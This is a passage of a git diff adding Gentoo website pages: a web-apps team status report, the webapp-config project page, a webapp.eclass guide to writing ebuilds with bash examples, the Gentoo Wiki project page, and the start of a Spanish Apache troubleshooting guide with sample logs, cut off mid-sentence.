+	<p>
+	  This is the status report of the Gentoo/Web-Applications
+	  Project. It will be posted regularly, but not with a static
+	  frequency.  All questions can be posted
+	  to <mail>web-apps@gentoo.org</mail>.
+	</p>
+
+	<p>
+	  The Gentoo/Web-Applications Team, has its own project page
+	  (just like almost all other Gentoo projects). You can find
+	  it at http://www.gentoo.org/proj/en/web-apps/. You can also
+	  contact us via IRC at #gentoo-web using the Freenode IRC
+	  server.
+	</p>
+
+	<p>
+	  This status report is mainly concerned about the progress
+	  made between Jan 1, 2005 and Dec 31, 2005.
+	</p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Status Report in Figures</title>
+    <section>
+      <body>
+
+	<ul>
+	  <li>
+	    218 unique bugs were assigned
+	    to <mail>web-apps@gentoo.org</mail> and fixed during the
+	    last year.
+	  </li>
+
+	  <li>
+	    The Gentoo/webapps team has grown to 11 developers.
+	  </li>
+	</ul>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Web Applications Overlay</title>
+    <section>
+      <body>
+
+	<p>
+	  We created a Portage
+	  <uri link="http://svn.gnqs.org/projects/gentoo-webapps-overlay">
+	    overlay
+	  </uri>
+	  that contains ebuilds for applications that we do not want
+	  to maintain in the main tree. Such applications either lack
+	  a developer willing to maintain it in Portage or have not
+	  been reviewed for security. In addition it is intended to
+	  serve as a playground for new developers wishing to join our
+	  team.
+	</p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>Documentation</title>
+    <section>
+      <body>
+
+	<p>
+	  We created an introduction to the webapp.eclass:
+	</p>
+
+	<ul>
+	  <li>
+	    <uri link="/proj/en/webapps/webapp-eclass.xml">webapp.eclass Documentation</uri>
+	  </li>
+	</ul>
+
+	<p>
+	  It explains the Gentoo way of installing web
+	  applications. While it can serve as a gentle introduction
+	  for beginners it also provides detailed information for the
+	  experienced ebuild scripter.
+	</p>
+
+	<p>
+	</p>
+
+      </body>
+    </section>
+  </chapter>
+
+  <chapter>
+    <title>webapp-config</title>
+    <section>
+      <body>
+
+	<p>
+	  We recently switched from the old bash version
+	  of <c>webapp-config</c> to a version implemented in Python,
+	  which is much faster and easier to maintain.
+	</p>
+
+	<p>
+	  The new version has been available in the unstable tree
+	  since January and only a few minor bugs had to be corrected
+	  since then. We intend to mark it stable on the different
+	  architectures in one or two weeks.
+	</p>
+
+      </body>
+    </section>
+  </chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/webapps/webapp-config.xml b/xml/htdocs/proj/en/webapps/webapp-config.xml
new file mode 100644
index 00000000..c6c7b1a7
--- /dev/null
+++ b/xml/htdocs/proj/en/webapps/webapp-config.xml
@@ -0,0 +1,103 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/webapps/webapp-config.xml,v 1.3 2010/07/17 13:44:09 jmbsvicetto Exp $ -->
+
+<project>
+
+  <name>
+  webapp-config
+  </name>
+
+  <longname>
+  Web application installation tool
+  </longname>
+
+  <date>
+  2007-12-10
+  </date>
+
+  <author title="Author">
+    <mail link="wrobel@gentoo.org">
+    Gunnar Wrobel
+    </mail>
+  </author>
+
+  <description>
+    webapp-config is the installer for web-based applications of the
+    Gentoo Linux distribution. It is being used for the automatic
+    setup of web applications in a virtual hosting environment.
+  </description>
+
+  <longdescription>
+    <p>
+      webapp-config was originally a bash script used to simplify the
+      installation of PHP-based web applications. It has later been
+      rewritten in Python to make it significantly faster. In its
+      current state it is used for the majority of web applications
+      provided within the Portage Tree.
+    </p>
+
+    <p>
+      It is still limited to the installation of file based web
+      services which mainly refers to the common Apache/PHP
+      combination and derivates thereof.
+    </p>
+  </longdescription>
+
+  <goals>
+    <p>
+      The goal of webapp-config is to make the installation of web
+      applications as easy as possible.
+    </p>
+  </goals>
+
+<!-- developers: add yourself -->
+
+<!-- Resources -->
+
+<resource link="https://sourceforge.net/projects/webapp-config">SourceForge project site</resource> 
+
+<!-- Resources -->
+
+<extrachapter>
+
+<title>Detailed project links</title>
+
+<section>
+<title>Project site</title>
+<body>
+<p>
+The code for the project is maintained at <uri
+link="https://sourceforge.net/projects/webapp-config">SourceForge</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>IRC</title>
+<body>
+<p>
+For direct questions you may try to contact us over IRC. The project
+specific channel is <uri
+link="irc://freenode/gentoo-web">#gentoo-web</uri>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Ohloh project site</title>
+<body>
+
+<p>
+A project code overview and a summary can also be found at <uri
+link="http://www.ohloh.net/projects/9488?p=webapp-config">Ohloh.net</uri>
+</p>
+
+</body>
+</section>
+
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/webapps/webapp-eclass.xml b/xml/htdocs/proj/en/webapps/webapp-eclass.xml
new file mode 100644
index 00000000..b3a819a2
--- /dev/null
+++ b/xml/htdocs/proj/en/webapps/webapp-eclass.xml
@@ -0,0 +1,538 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/webapps/webapp-eclass.xml,v 1.13 2007/12/04 00:36:36 rl03 Exp $ -->
+
+<guide link="/proj/en/webapps/webapp-eclass.xml" lang="en">
+<title>webapp.eclass Documentation</title>
+
+<author title="Author">
+  <mail link="rl03@gentoo.org">Renat Lumpau</mail>
+</author>
+
+<abstract>
+The goal of this guide is to show the reader how to create and maintain ebuilds
+for web applications. It presents an overview of webapp.eclass and then
+discusses three ebuilds of increasing complexity and functionality.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.2</version>
+<date>2007-12-03</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<title>Background</title>
+<body>
+
+<p>
+<c>webapp.eclass</c> and <c>webapp-config</c> provide a standardized way to
+maintain web applications in Gentoo. Server administrators can use the
+<c>webapp-config</c> utility to install, upgrade, and remove software.
+<c>webapp-config</c> relies on a package manager such as Portage to prepare
+the application for installation into multiple virtual hosts. In Gentoo, this
+is done by an ebuild that uses <c>webapp.eclass</c>.
+</p>
+
+<p>
+The goal of this guide is to show the reader how to create and maintain
+ebuilds for web applications. It presents an overview of
+<c>webapp.eclass</c> and then discusses three ebuilds of increasing complexity
+and functionality. Using the <c>webapp-config</c> utility is beyond the scope
+of this guide and is documented in <c>man 8 webapp-config</c>.
+</p>
+
+</body>
+</section>
+<section>
+<title>Prerequisites</title>
+<body>
+
+<p>
+This guide assumes a basic familiarity with Portage and the ebuild format. Both
+are well-documented; the reader is encouraged to consult the <uri
+link="/proj/en/devrel/handbook/handbook.xml">official ebuild HOWTO</uri> and
+the <uri link="http://devmanual.gentoo.org/">devmanual</uri>.
+</p>
+
+<p>
+<c>webapp-config</c> is under active development. Be sure to install the latest
+version; as of the time of this writing, it is 1.50.14. You can follow the
+development process on our <uri
+link="http://sourceforge.net/projects/webapp-config/">website</uri>.
+</p>
+
+</body>
+</section>
+<section>
+<title>A standardized approach to installing web applications</title>
+<body>
+
+<p>
+Gentoo has developed a standardized way of handling web applications. It is
+outlined in <uri link="/proj/en/glep/glep-0011.html">GLEP 11</uri> and
+discussed in detail in <c>man 5 webapp.eclass</c>. The reader is urged to
+familiarize himself with these documents before proceeding. The manpage also
+outlines the filesystem locations into which the eclass and
+<c>webapp-config</c> install files; advanced users and developers should take
+note.
+</p>
+
+<p>
+By default, <c>webapp.eclass</c> will be found under
+<path>/usr/portage/eclass/</path>. The source code is the
+ultimate documentation and should be consulted whenever something does not
+perform as expected or further clarification is required.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Writing Ebuilds</title>
+<section>
+<title>Beginner: www-apps/gallery-2.0.2</title>
+<body>
+
+<p>
+Many web applications require no compilation and are installed by copying their
+files to a directory to be served by a httpd server such as Apache.
+<c>webapp.eclass</c> simplifies this task by preparing the necessary set of
+directories.
+</p>
+
+<p>
+Let's take a look at a simple ebuild for <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/www-apps/gallery">www-apps/gallery-2.0.2</uri>.
+To use any of the functions in the eclass, the ebuild must first inherit it:
+</p>
+
+<pre caption="Inheriting the eclass">
+inherit webapp
+</pre>
+
+<p>
+The ebuild then sets several standard variables, such as <c>DESCRIPTION</c>,
+<c>IUSE</c>, <c>RDEPEND</c>, and <c>S</c>. The first important note is that
+ebuilds that use <c>webapp.eclass</c> do not typically set the <c>SLOT</c>
+variable (the rationale for this is described in the manpage). <uri
+link="#doc_chap2_sect3">Section 2.3</uri> will explain how <c>SLOT</c> can be
+set when it is truly needed, but for now we will let the eclass handle it.
+</p>
+
+<p>
+<path>www-apps/gallery-2.0.2</path> does not require patching or compiling, so
+the ebuild does not call <c>src_unpack</c> or <c>src_compile</c>; installation
+is handled in <c>src_install</c>. The first thing <c>src_install</c> does is
+call a special helper function that sets up the required directory structure:
+</p>
+
+<pre caption="Setting up src_install">
+src_install() {
+  webapp_src_preinst
+</pre>
+
+<p>
+This function is required of all ebuilds that use <c>webapp.eclass</c> and
+override the default <c>src_install</c>.
+</p>
+
+<p>
+Having set up the environment, the ebuild installs the web application:
+</p>
+
+<pre caption="Installing">
+cp -R * ${D}/${MY_HTDOCSDIR}
+</pre>
+
+<p>
+<c>${MY_HTDOCSDIR}</c> is one of the variables exported by
+<c>webapp_src_preinst</c>. Files placed there will be copied into the right
+directory under the webserver's document root by <c>webapp-config</c>. For a
+full list of variables exported by the eclass, please see the manpage.
+</p>
+
+<p>
+Next, the ebuild marks a file in <c>${FILESDIR}</c> as a file containing
+instructions to be displayed by <c>webapp-config</c> after the application has
+been installed:
+</p>
+
+<pre caption="Post-install instructions">
+webapp_postinst_txt en ${FILESDIR}/postinstall-en2.txt
+</pre>
+
+<note>
+A careful reader will observe that it is customary for other ebuilds to display
+instructions to the user in <c>pkg_postinst</c>. Ebuilds that inherit
+<c>webapp.eclass</c> may still do so, but the ebuild author should understand
+the important difference in usage. More often than not, post-install
+instructions include information specific to a virtual host, such as locations
+of a particular configuration file or a URL to access the web application
+remotely. This information is not available to Portage and cannot be included
+in <c>pkg_postinst</c>. Instead, it should be included in a post-install file
+and installed using <c>webapp_postinstall_txt</c>.
+</note>
+
+<p>
+Let's examine a typical post-install file:
+</p>
+
+<pre caption="Post-install file">
+  0. Create a new MySQL database:
+  mysqladmin create geeklog
+
+  1. Edit ${VHOST_ROOT}/${PN}-${PVR}/config.php and set database settings.
+
+  2. Login on
+  http://${VHOST_HOSTNAME}/${VHOST_APPDIR}/admin/install/install.php
+  and follow the directions.
+
+  3. Don't forget to delete the admin/install directory when you're done!
+</pre>
+
+<p>
+Post-install instruction files are plain text files. They can contain
+bash-style variables (e.g., <c>${PN}</c>) that will be expanded at display
+time. The <c>webapp-config</c> utility responsible for displaying the file
+exports a number of variables that allow for the customization of instructions.
+Consult the manpage for a list of available variables.
+</p>
+
+<p>
+Finally, the ebuild calls another mandatory helper function:
+</p>
+
+<pre caption="webapp_src_install">
+webapp_src_install
+</pre>
+
+<p>
+<c>webapp_src_install</c> is responsible for setting the right permissions on
+installed files.
+</p>
+
+<p>
+There are several best practices for writing simple ebuilds:
+</p>
+
+<ul>
+  <li>
+    Don't copy unneeded files. Some packages include <path>.svn</path> or
+    <path>CVS</path> directories or <path>Makefiles</path>; those should be
+    removed prior to installation. Note that the <path>LICENSE</path> file is
+    sometimes needed by the application and should not be removed.
+  </li>
+  <li>
+    Ensure that consecutive calls to all ebuild functions succeed. For
+    instance, don't remove files outside of <c>src_unpack</c>. If you must,
+    remove files from <c>${D}</c> rather than <c>${S}</c>.
+  </li>
+  <li>
+    For portability purposes, don't use GNU-only extensions such as <c>cp
+    -a</c>. They will break on non-GNU userlands such as Gentoo/FreeBSD.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Intermediate: www-apps/tikiwiki-1.9.2</title>
+<body>
+
+<p>
+Many web applications have a more complicated installation procedure. Let's
+look at how <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/www-apps/tikiwiki">www-apps/tikiwiki-1.9.2</uri>
+handles one such package. After inheriting the eclass, the ebuild specifies a
+number of required and optional dependencies.
+</p>
+
+<pre caption="Specifying Dependencies">
+RDEPEND="virtual/php
+  graphviz? ( media-gfx/graphviz )
+"
+</pre>
+
+<p>
+Many web-applications written in PHP require that the PHP binary have certain
+capabilities built-in; common requirements include support for sessions and a
+specific database engine. This is typically accomplished by using the
+<c>depend.php</c> eclass. Please consult that eclass for further information.
+</p>
+
+<warn>
+If the package requires specific Perl modules, all dependencies must have
+ebuilds available. Relying on CPAN is not acceptable.
+</warn>
+
+<warn>
+A common mistake with specifying dependencies for web applications is to
+<c>RDEPEND</c> on a database engine such as MySQL or
+PostgreSQL.  Many, if not all, web applications are able to connect to a remote
+database server. Thus, the ebuild should never explicitly <c>RDEPEND</c> on a database
+such as <path>dev-db/mysql</path> or <path>dev-db/postgresql</path>. Instead,
+consider <c>RDEPEND</c>ing on the appropriate language bindings.
+</warn>
+
+<note>
+Carefully consider whether the web application needs Apache (<path>www-servers/apache</path>),
+or if it can work with a generic webserver. Consider using <path>virtual/httpd-basic</path>,
+<path>virtual/httpd-cgi</path>, or <path>virtual/httpd-fastcgi</path> instead.
+</note>
+
+<p>
+<path>www-apps/tikiwiki</path> uses <c>depend.php</c> to check for a properly
+configured PHP:
+</p>
+
+<pre caption="Checking PHP configuration">
+pkg_setup () {
+  webapp_pkg_setup
+  use mysql &#x0026;&#x0026; require_php_with_use mysql
+  use postgres &#x0026;&#x0026; require_php_with_use postgres
+}
+</pre>
+
+<p>
+Note the use of a mandatory helper function <c>webapp_pkg_setup</c>.
+</p>
+
+<p>
+Many web applications require write access to certain files. The eclass
+provides a helper function that marks a file as server-owned; at install time,
+<c>webapp-config</c> will ensure that it has the right owner and permissions:
+</p>
+
+<pre caption="webapp_serverowned">
+webapp_serverowned ${MY_HTDOCSDIR}/tiki-install.php
+</pre>
+
+<p>
+<c>webapp_serverowned</c> takes an optional <c>-R</c> flag to recurse into
+subdirectories. This flag has been added recently and not many ebuilds take
+advantage of it. Please consult the manpage for more information.
+</p>
+
+<p>
+Practically all web applications use configuration files to store settings.
+Such files should not be placed into <path>/etc</path> (figuring out the
+rationale is left as an exercise for the reader). To avoid losing important
+configuration information, the eclass provides another helper function that
+will instruct <c>webapp-config</c> not to overwrite an existing file. The
+administrator can use familiar tools such as <c>etc-update</c> or
+<c>dispatch-conf</c> to manage such files.
+</p>
+
+<pre caption="webapp_configfile">
+webapp_configfile ${MY_HTDOCSDIR}/config.php
+</pre>
+
+<p>
+To ease upgrades of web applications, the eclass provides a helper function
+that displays instructions when an existing installation is being upgraded:
+</p>
+
+<pre caption="Post-upgrade file">
+webapp_postupgrade_txt en ${FILESDIR}/postupgrade-en.txt
+</pre>
+
+<p>
+Even though few ebuilds in Portage currently take advantage of this
+functionality, the reader is encouraged to use it in his ebuilds.
+</p>
+
+<p>
+The ebuild calls the familiar helper function to complete the installation.
+Note an important consequence of using <c>webapp_src_install</c> to set the
+correct file permissions: any manual adjustments to file permissions and
+ownership via <c>fowners</c> and <c>fperms</c> must occur <e>after</e>
+<c>webapp_src_install</c> is called.
+</p>
+
+<pre caption="Adjusting permissions">
+webapp_src_install
+fperms 0644 /etc/zm.conf
+</pre>
+
+<p>
+The tikiwiki ebuild displays some brief notes using <c>pkg_postinst</c>. Note
+the use of another helper function:
+</p>
+
+<pre caption="pkg_postinst">
+pkg_postinst() {
+  elog "To setup a MySQL database, run:"
+  elog "\"emerge --config =${PF}\""
+  elog "If you are using PostgreSQL, consult your documentation"
+  webapp_pkg_postinst
+}
+</pre>
+
+<p>
+Strictly speaking, <c>webapp_pkg_postinst</c> is not mandatory. It is
+responsible for automatically calling <c>webapp-config</c> when the
+<c>vhosts</c> USE flag is unset. In rare instances it may be desirable to
+override this behavior; please consult <path>www-apps/otrs</path> for an
+example.
+</p>
+
+</body>
+</section>
+<section>
+<title>Advanced: www-apps/moinmoin-1.5.0</title>
+<body>
+
+<p>
+This section presents an overview of more advanced installation tasks provided
+by <c>webapp.eclass</c>. An example of this functionality is <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/www-apps/moinmoin">www-apps/moinmoin-1.5.0</uri>.
+</p>
+
+<p>
+<c>moinmoin</c> is a wiki engine written in Python that uses <c>distutils</c>
+to install itself. Thus, it requires <c>SLOT="0"</c> to avoid collisions.
+Ebuilds that inherit <c>webapp.eclass</c> must set
+<c>WEBAPP_MANUAL_SLOT="yes"</c> to override the default <c>SLOT</c>ting
+behavior:
+</p>
+
+<pre caption="Setting SLOT">
+SLOT="0"
+WEBAPP_MANUAL_SLOT="yes"
+</pre>
+
+<note>
+The <c>yes</c> in <c>WEBAPP_MANUAL_SLOT="yes"</c> is case-sensitive.
+</note>
+
+<p>
+<c>moinmoin</c> installs files that should not be served by the webserver. The
+ebuild places such files in <c>${MY_HOSTROOTDIR}/${PF}</c>.
+</p>
+
+<pre caption="Installing into dodir ${MY_HOSTROOTDIR}/${PF}">
+dodir ${MY_HOSTROOTDIR}/${PF}
+cp -r data underlay config/wikiconfig.py ${D}/${MY_HOSTROOTDIR}/${PF}
+</pre>
+
+<p>
+A best practice for installing any application via Portage is to ensure it
+operates out of the proverbial box with sensible defaults. The eclass
+implements a helper function to aid with configuring the application after it
+has been installed by <c>webapp-config</c>.
+</p>
+
+<pre caption="webapp_hook_script">
+webapp_hook_script ${FILESDIR}/reconfig-2
+</pre>
+
+<p>
+The reconfig hook is a script, typically written in bash, that is invoked by
+<c>webapp-config</c> after installation and before removal.
+</p>
+
+<pre caption="Reconfig hook">
+#!/bin/bash
+
+die() {
+  echo "#####"
+  echo $1
+  echo "#####"
+  exit 1
+}
+
+if [ $1 = "install" ]; then
+  sed -e "s|/path/to/wikiconfig|${VHOST_ROOT}/${PN}-${PVR}|g" \
+    -i ${MY_INSTALLDIR}/moin.cgi || die "sed failed"
+  sed -e "s|\./data/|${VHOST_ROOT}/${PN}-${PVR}/data|
+    s|\./underlay/|${VHOST_ROOT}/${PN}-${PVR}/underlay|" \
+    -i ${VHOST_ROOT}/${PN}-${PVR}/wikiconfig.py || die "sed failed"
+
+elif [ $1 = "clean" ]; then
+  echo $1
+fi
+</pre>
+
+<p>
+The reconfig hook can use the same variables as the postinstall file. It is
+typically used to edit configuration files to set file locations that may
+differ from the default values. As of <c>webapp-config-1.50</c>, reconfig hooks
+are run in a sandbox to minimize risk; please consult the manpage for more
+details.
+</p>
+
+<p>
+There are several best practices for using reconfig hooks:
+</p>
+
+<ul>
+  <li>Die with an error message if the script failed</li>
+  <li>
+    Be careful about removing files when called with <c>clean</c>. Don't remove
+    configuration files or any other files that may have been locally
+    modified.
+  </li>
+</ul>
+
+<pre caption="Using the reconfig hook to mark files as server-owned">
+chown ${VHOST_SERVER_UID}:${VHOST_SERVER_GID} ${MY_INSTALLDIR}/Settings.php
+</pre>
+
+<p>
+The eclass provides several other functions that are rarely used. The most
+notable is <c>webapp_sqlscript</c>, which marks a file as an SQL create script.
+In its current state, this function is only moderately useful.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Additional Best Practices</title>
+<section>
+<title>Apache</title>
+<body>
+
+<ul>
+  <li>
+    Be careful when installing apache configuration files. If you place a
+    misconfigured Apache configuration file into
+    <path>/etc/apache{2}/vhosts.d</path>, the server will fail on next restart.
+    Is is better to either install the file elsewhere and let the administrator
+    customize it, or comment out the contents to avoid failure.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Next Steps</title>
+<section>
+<title>Obtaining More Information</title>
+<body>
+
+<p>
+Additional examples can be found in the <path>www-apps</path> category of the
+Portage tree. Developers and users should also consult the <uri
+link="http://overlays.gentoo.org/">web-apps overlay</uri> for even more
+examples and software packages.
+</p>
+
+<p>
+If you have a question that is not answered in this document, please feel free
+to contact the <uri link="http://www.gentoo.org/proj/en/webapps/">web-apps team
+</uri> or ask in <uri link="irc://freenode/gentoo-web">#gentoo-web</uri> on
+Freenode.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/wiki/index.xml b/xml/htdocs/proj/en/wiki/index.xml
new file mode 100644
index 00000000..d4ed79f8
--- /dev/null
+++ b/xml/htdocs/proj/en/wiki/index.xml
@@ -0,0 +1,95 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/wiki/index.xml,v 1.13 2010/08/21 10:33:09 a3li Exp $ -->
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+
+<name>wiki</name>
+<longname>Gentoo Wiki Project</longname>
+
+<date>2010-04-12</date>
+<author title="Author">
+  <mail link="yngwin" />
+</author>
+
+<description>
+The Gentoo Wiki Project aims to create and maintain a wiki for use by
+developers and users.
+</description>
+
+<longdescription>
+<p>
+The Gentoo Wiki Project is responsible for the creation and maintenance of a
+wiki for general use by both developers and users of Gentoo. The goal of the
+Gentoo Wiki is to provide an accessible web-based service for easy
+collaboration on various documents relating to the development and use of the
+Gentoo distribution and for related community needs.
+</p>
+</longdescription>
+
+<dev role="member">a3li</dev>
+<dev role="member">ali_bush</dev>
+<dev role="member">dertobi123</dev>
+<dev role="member">hwoarang</dev>
+<dev role="member">idl0r</dev>
+<dev role="member">keytoaster</dev>
+<dev role="member">nathanzachary</dev>
+<dev role="member">quantumsummers</dev>
+<dev role="member">redhatter</dev>
+<dev role="member">remi</dev>
+<dev role="member">spatz</dev>
+
+<extrachapter>
+<title>User Participants</title>
+<section>
+<body>
+
+<table>
+  <tr><th>Name</th><th>Nickname</th></tr>
+  <tr><ti>Richard Hering</ti><ti>misterjack</ti></tr>
+  <tr><ti>Alex Maclean</ti><ti>Monkeh</ti></tr>
+  <tr><ti>Dmitri Orleanski</ti><ti>dmitrio</ti></tr>
+  <tr><ti>George Prowse</ti><ti>cokehabit</ti></tr>
+  <tr><ti>Zeerak Waseem</ti><ti>Zeerak</ti></tr>
+  <tr><ti/><ti>pegjik</ti></tr>
+</table>
+
+<p>
+As one of our goals is to provide services to users, we strongly encourage user
+participation in wiki maintenance and related roles. We work closely together
+with the Gentoo User Relations project for that reason.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Communications</title>
+<section>
+<body>
+
+<p>
+We are using the #gentoo-wiki channel on the Freenode IRC network.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Meeting logs</title>
+<section>
+<body>
+
+<p>
+Meeting <b>May 10, 2010:</b> <uri link="http://dev.gentoo.org/~hwoarang/files/meeting-1-log.txt">log</uri>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/es/apache/doc/troubleshooting.xml b/xml/htdocs/proj/es/apache/doc/troubleshooting.xml
new file mode 100644
index 00000000..8d72bb1f
--- /dev/null
+++ b/xml/htdocs/proj/es/apache/doc/troubleshooting.xml
@@ -0,0 +1,479 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/apache/doc/troubleshooting.xml,v 1.1 2008/04/05 16:24:02 yoswink Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/apache/doc/troubleshooting.xml" lang="es">
+<title>Solución de problemas de Apache</title>
+
+<author title="Autor">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Colaborador">
+  <mail link="beu@gentoo.org">Elfyn McBratney</mail>
+</author>
+<author title="Colaborador">
+  <mail link="kloeri@gentoo.org">Bryan Østergaard</mail>
+</author>
+<author title="Colaborador">
+  <mail link="hollow@gentoo.org">Benedikt Böhm</mail>
+</author>
+<author title="Traductor">
+  <mail link="enrique@barbeito.org">Enrique Barbeito García</mail>
+</author>
+<author title="Traductor">
+  <mail link="chiguire@gentoo.org">John Christian Stoddart</mail>
+</author>
+
+
+<abstract>
+Este documento abarca varias formas de evaluar cómo resolver su
+instalación de Apache cuando las cosas no funcionen correctamente.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.8</version>
+<date>2007-11-29</date>
+
+<chapter>
+<title>Revisar el registro</title>
+<section>
+<body>
+
+<p>
+Si tiene algún problema con su Apache pero no sabe cómo resolverlo,
+los primeros indicios se encontrarán en los ficheros de registro.
+</p>
+
+<p>
+Hay varios ficheros de registro para Apache. Todos ellos se encuentran
+en <path>/var/log/apache2/</path>. No todos los siguientes ficheros de
+registro estarán en su sistema: depende de qué módulos haya
+habilitado.
+</p>
+</body>
+</section>
+
+<section>
+<title>access_log y ssl_access_log</title>
+<body>
+
+<pre caption="access_log">
+67.185.0.236 - - [18/Jun/2005:12:05:50 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:11:07 -0700] "GET /~jaspenelle/__journal1.jpg HTTP/1.1" 200 19079
+66.239.233.163 - - [18/Jun/2005:12:15:06 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.0" 200 1661
+67.185.60.155 - - [18/Jun/2005:12:18:48 -0700] "GET / HTTP/1.0" 200 721
+67.185.0.236 - - [18/Jun/2005:12:25:39 -0700] "GET / HTTP/1.0" 200 721
+10.0.1.80 - - [18/Jun/2005:12:28:04 -0700] "GET /~jaspenelle/avy14.gif HTTP/1.1" 200 1661
+10.0.1.80 - - [18/Jun/2005:12:28:46 -0700] "GET /~jaspenelle/avy7.png HTTP/1.1" 200 13066
+</pre>
+
+<p>
+Este fichero es, sencillamente, un listado de los archivos solicitados
+a su servidor. A menos que haya cambiado la configuración por defecto,
+se encontrará en Formato Común de Registro:
+</p>
+
+<pre caption="Sintaxis del Formato Común de Registro">
+remotehost rfc931 authuser [date] "request" status bytes
+</pre>
+
+<table>
+<tr>
+  <ti>remotehost</ti>
+  <ti>Nombre del host remoto o dirección IP</ti>
+</tr>
+<tr>
+  <ti>rfc931</ti>
+  <ti>El nombre de registro remoto del usuario.</ti>
+</tr>
+<tr>
+  <ti>authuser</ti>
+  <ti>El nombre de usuario con el que se ha autenticado el usuario.</ti>
+</tr>
+<tr>
+  <ti>[date]</ti>
+  <ti>Fecha y hora de la petición.</ti>
+</tr>
+<tr>
+  <ti>"request"</ti>
+  <ti>La línea de la petición, exactamente como vino desde el cliente.</ti>
+</tr>
+<tr>
+  <ti>status</ti>
+  <ti>El código de estado HTTP devuelto al usuario.</ti>
+</tr>
+<tr>
+  <ti>bytes</ti>
+  <ti>El tamaño del documento transferido.</ti>
+</tr>
+</table>
+</body>
+</section>
+
+<section>
+<title>error_log y ssl_error_log</title>
+<body>
+
+<pre caption="error_log">
+[Mon Feb 07 23:33:18 2005] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec2)
+[Mon Feb 07 23:33:18 2005] [notice] Digest: generating secret for digest authentication ...
+[Mon Feb 07 23:33:18 2005] [notice] Digest: done
+[Mon Feb 07 23:33:18 2005] [notice] Apache/2.0.52 (Gentoo/Linux) PHP/4.3.10 configured -- resuming normal operations
+[Sat Jun 18 13:01:54 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:14 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:18 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:21 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+[Sat Jun 18 13:02:24 2005] [error] [client 10.0.1.80] File does not exist: /var/www/localhost/htdocs/favicon.ico
+</pre>
+
+<p>
+Como puede ver, este fichero puede contener multitud de información,
+dependiendo de la directiva <c>ErrorLevel</c> en su fichero
+<path>httpd.conf</path>. Le dice si Apache se inició correctamente,
+con qué errores se topó, etc. En general, le dirá qué fue mal. Si hay
+algo que no esté funcionando bien, éste debería ser el primer fichero
+que revise para saber si hay más información.
+</p>
+</body>
+</section>
+
+<section>
+<title>suexec_log</title>
+<body>
+
+<pre caption="suexec_log">
+[2005-02-11 22:33:19]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:20:13]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+[2005-03-11 19:34:47]: uid: (1000/vericgar) gid: (1000/1000) cmd: test.cgi
+</pre>
+
+<p>
+Este fichero contiene una entrada de registro por cada vez que se
+ejecuta un script mediante CGI y suexec. Si no consigue hacer
+funcionar un script con suexec, este registro es el único a revisar
+pues, en general, tendrá una línea por cada vez que no consiguiera
+ejecutar un script.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Instalé un módulo, ¡Pero no funciona!</title>
+<section>
+<body>
+
+<p>
+Instalar sólo el módulo no es suficiente - tiene que activarlo
+explícitamente.  Hacemos esto de manera que sea fácil activar o
+desactivar módulos individuales lo que hace sencillo encontrar qué
+módulo está causando problemas y le permite probarlos y desactivarlos
+fácilmente.
+</p>
+
+<p>
+Cuando instale un módulo, debería mostrar un mensaje parecido a éste:
